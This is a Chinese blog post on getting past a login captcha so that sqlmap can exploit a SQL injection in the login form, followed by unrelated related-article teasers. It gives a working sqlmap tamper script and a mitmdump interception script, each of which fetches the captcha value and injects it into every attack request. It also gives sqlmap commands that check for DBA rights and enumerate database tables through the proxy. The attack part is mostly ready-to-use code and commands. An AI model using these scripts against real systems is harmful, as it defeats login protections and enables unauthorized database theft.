tamper脚本编写与mitmdump

news2024/11/6 11:40:28

tamper脚本编写与mitmdump

0x01 前提

​ 注入点在登录框处,但是目标每次都会先校验验证码,而验证码会在返回包中以json格式出现。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

0x02 编写tamper脚本

由于目标的验证码在response中回显出来了,所以我们可以利用tamper脚本去读取验证码,再利用sqlmap进行注入

tamper脚本所在kali路径中/usr/share/sqlmap/tamper

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import requests

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    #定义retVal变量,传递sqlmap payload
    retVal = payload
    #如果payload 存在
    if payload:
        #将 retVal 重置为空字符串
        retVal = ""
        url = "http://xxxx/captcha.php"
        headers = {
            "Cookie": "PHPSESSID=0jo0nef461ejnvb4ou2bojrl05"}
        #发送get请求
        res = requests.get(url, headers=headers, timeout=3)
        #获取json格式中的验证码
        #eg:"pharse":"ZsD88","base64":"\/9j\/4AAQSkZ"
        #res.text.split('":"') 以":"分割内容将一下分成了3个元素"pharse、ZsD88","base64、\/9j\/4AAQSkZ"
        #res.text.split('":"')=['"pharse', 'ZsD88","base64', '\/9j\/4AAQSkZ"']
        #res.text.split('":"')[1]=ZsD88","base64
        #split('"')=['ZsD88', ',', 'base64']
        #split('"')[0]=ZsD88
        yzm = res.text.split('":"')[1].split('"')[0]
        #将payload的值和&captcha+yzm截取到值返回,后续再通过burp改包
        retVal = "&captcha=" + yzm
        retVal = payload + retVal
    return retVal

原始包中

在这里插入图片描述

我们可以利用Burp中的Match and replace功能替换掉多余的数据(不使用正则也可以匹配到,一定要选对type)

方法2:sqlmap直接设置跳过url编码格式,只需要替换一下&captcha=变量

sqlmap -r sql.txt --is-dba --proxy=http://192.168.31.35:8081 --tamper=yanzhengma.py –skip-urlencode

在这里插入图片描述

在这里插入图片描述

点击auto-modified request 可以看到修改后的数据包

在这里插入图片描述

成功注出数据

在这里插入图片描述

0x03 利用mitmdump

​ 方法2:利用Mitmdump拦截请求数据并修改

mitmdump kali自带
<-mitmdump -s poc.py -p 8081->

from mitmproxy import ctx
import requests
#request(flow)函数是mitmproxy的回调函数,当收到请求,该函数就会被调用
def request(flow):
	#获取flow.request收到的请求对象
    request = flow.request
	#定义info 打印日志信息
    info = ctx.log.info
	#获取request中cookies的phpsessid值并赋值给Phps
    phps = request.cookies["PHPSESSID"]
	#获取request请求对象从开头到末尾第五位
	#username=xxx&password=xxx&captcha=tfaLj 也就是截取username=xxx&password=xxx&captcha=这一段
    tmp = request.text[0:-5]
	#调用获取验证码的函数,cap获取到的是return r["pharse"]也就是验证码的值
    cap = get_captcha(phps)
	#打印验证码
    info(f"captch {cap}")
	#打印请求结果
    request.text = f"{tmp}{cap}"
    info(str(request.text))
def get_captcha(phps):
    url = "http://192.168.31.100/captcha.php"
    r = requests.get(url,headers={"Cookie":f"PHPSESSID={phps}"}).json()
	#返回验证码的值
    return r["pharse"]

sqlmap发包即可

sqlmap -r sql.txt -D "db" --tables --proxy=http://192.168.31.106:8081 --threads=1 --tech=B --batch

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/625231.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python:SVOREX

公式看懂了就写导数。写完导数撸码 Car数据集上对比: 在Car数据集上,SVOREX稍微胜出。 """ SVOREX author: Daniel He at CQUPT 2023-06-08 """ import xlwt import xlrd import numpy as np import pandas as pd import matplotlib.pylab a…

17.16按摩师

目录 一、题目 二、分析代码 一、题目 面试题 17.16. 按摩师 - 力扣&#xff08;LeetCode&#xff09; 二、分析代码 class Solution { public:int massage(vector<int>& nums) {int nnums.size();// vector<int>dp(n,0);// if(n<0)// return 0;// if(n1…

Docker部署ssh连接工具webssh2

Docker部署ssh连接工具webssh2 一、检查系统版本二、检查docker状态三、下载webssh2镜像四、创建webssh2容器1.创建webssh2容器2.查看webssh2状态3.查看容器运行日志 五、访问webssh21. 访问webssh22. 远程连接服务器3. 文件管理 一、检查系统版本 检查操作系统版本 [rootserve…

Python对普通文件的操作

目录 1. 常用函数语法 1.1. open_打开文件 1.2. read_读取文件 1.3. readlines_读取文件 1.4. csv.reader_读取csv文件 1.5. write_写入内容 2. 操作普通文件 2.1. 读取内容 ① 按大小读取 ② 按行数读取 ③ 按列数读取 ④ 读取大文件 ⑤ 条件过滤 2.2. 写入内容…

一文详解!JMeter该如何并发测试和持续性压测?

目录 前言&#xff1a; 概念 并发测试 持续性压测 查看报告 总结 试试其他 API 工具 知识扩展&#xff1a; 前言&#xff1a; JMeter 是一个 Java 编写的开源负载测试工具&#xff0c;基于模拟用户、线程和请求&#xff0c;结合测试计划和策略&#xff0c;可以模拟真实…

和托托一起学计算机图形学(一)-初识计算机图形学

文章目录 初识计算机图形学一、计算机科学与视觉信息处理二、计算机图形学的应用三、总结 数字图像基础一、像素二、RGB和CMY颜色模型三、颜色编码四、查色表五、图像文件六、总结 初识计算机图形学 一、计算机科学与视觉信息处理 计算机图形学&#xff1a;建模&#xff08;建…

Kafka-Eagle安装及连接成功web端登陆不了问题解决

kafka自身并没有集成监控管理系统&#xff0c;因此对kafka的监控管理比较不便&#xff0c;好在有大量的第三方监控管理系统来使用&#xff0c;常见的有&#xff1a; Kafka EagleKafkaOffsetMonitorKafka Manager&#xff08;雅虎开源的Kafka集群管理器&#xff09;Kafka Web C…

1.7 基于XML配置方式使用Spring MVC

一、基于XML配置与注解的方式使用Spring MVC 1、创建Maven项目 Maven项目 - SpringMvcDemo01 单击【Finish】按钮 2、添加相关依赖 在pom.xml文件里添加支持Spring MVC的相关依赖 <?xml version"1.0" encoding"UTF-8"?> <project xmln…

excel学习--开始界面控制台讲解

1、部分基础控制台讲解 上面的那行表示垂直居中 下面的那行表示水平居中 上面设置表格内容的表现方向 下面设置表格内容的缩进量 合并单元格的两种主要方式即左图所示&#xff0c;一种是跨越合并&#xff0c;另一种是合并单元格&#xff0c;跨越合并只能进行列合并&#xff0c…

09 - Linux进程层次分析

---- 整理自狄泰软件唐佐林老师课程 查看所有文章链接&#xff1a;&#xff08;更新中&#xff09;Linux系统编程训练营 - 目录 文章目录 1. 详解Linux进程组1.1 Linux进程组1.2 进程组示例程序1.3 编程实验&#xff1a;Linux进程组1.4 深入理解进程组1.4.1 进程组标识设置技巧…

【算法题解】35. 两两交换链表中的节点

这是一道 中等难度 的题 https://leetcode.cn/problems/swap-nodes-in-pairs/ 题目 给你一个链表&#xff0c;两两交换其中相邻的节点&#xff0c;并返回交换后链表的头节点。你必须在不修改节点内部的值的情况下完成本题&#xff08;即&#xff0c;只能进行节点交换&#xff…

LVS负载均衡群集及VS/NAT部署

一、企业群集应用概述 1.群集的含义 群集&#xff08;Cluster&#xff09;&#xff0c;又称集群。由多台主机构成&#xff0c;但对外只表现为一个整体&#xff0c;只提供一个访问入口&#xff08;域名或IP地址&#xff09;&#xff0c;相当于一台大型计算机。 但是在互联网应…

htmlCSS-----元素类型

目录 前言&#xff1a; 元素类型 1.块级元素 2. 行内元素 3. 行内块元素 前言&#xff1a; 今天我们就学习CSS中的元素的类型&#xff0c;了解网页元素类型的相关性质&#xff0c;有助于我们去对网页进行排版处理。下面就一起去看看吧。 元素类型 常见元素类型有&#xff…

又壕又实惠的 AI 训练来了,Hugging Face 第一的 LLM 大模型 Falcon 40B 纳入亚马逊云科技服务

出品 | CSDN 云计算 2023 年&#xff0c;几乎是 AI 爆炸式发展的一年。各类大模型接踵而至&#xff0c;全行业都将 AIGC 融入生产流程&#xff0c;以提升效率。最近&#xff0c;阿联酋首都阿布扎比的科研中心 TII&#xff08;Technology Innovation Institute&#xff09;拥有 …

制氧机语音芯片新方案,高品质低功耗NV040C语音IC

在医疗设备行业中&#xff0c;制氧机是一种常见的设备&#xff0c;尤其在之前疫情期间&#xff0c;制氧机甚至成为了医院中不可或缺的设备之一。而在制氧机中加入语音芯片的语音方案&#xff0c;则可以进一步提高其人机交互的体验&#xff0c;增强其功能和可靠性。在制氧机中&a…

超超超详细C++入门总结

C入门知识总结 1.什么是C2. C关键字(C98)3.命名空间3.1命名空间定义1.命名空间的普通定义2.命名空间的嵌套定义3.同一个工程中允许存在多个相同名称的命名空间&#xff0c;编译器最后会合成同一个命名空间 3.2命名空间的使用1.加命名空间名称以及作用域限定符2.使用using将命名…

Flume事务

Flume事务 在Flume中一共有两个事务 Put事务&#xff1a;在Source组件和Channel组件之间&#xff0c;保证Source组件到Channel组件之间数据传递的可靠性。 take事务&#xff1a;在Channel组件和Sink组件之间&#xff0c;保证channel组件到Sink组件之间数据传输的可靠性。Put事务…

算法拾遗三十二bfprt算法,蓄水池算法

算法拾遗三十二bfprt算法&#xff0c;蓄水池算法 在无序数组中求第k小的数快排解法bfprt解法 练习题目蓄水池算法bfprt 应用 在无序数组中求第k小的数 快排解法 // 改写快排&#xff0c;时间复杂度O(N)// k > 1public static int minKth2(int[] array, int k) {int[] arr …

HNU计算机图形学-作业一

任务一&#xff1a;创建交互式三维场景 前言 完整工程文件 具体运行环境配置看这个栏目的第一篇文章 专选课计算机图形学的第一次作业&#xff0c;老师是第一次给本科生上课&#xff0c;用的作业是香港中文大学的计算机图形学的作业内容&#xff08;老师就是这个学校毕业&a…

软件测试方法 -- 等价类边界值

测试用例的定义 测试用例是为了特定的目的而设计的一组测试输入、执行条件和预期的结果&#xff0c;以便测试是否满足某个特定需求。通过大量的测试用例来检验软件的运行效果&#xff0c;他是指导测试工作进行的依据。 下面我们介绍几种常用的黑盒测试方法 等价类划分法 定…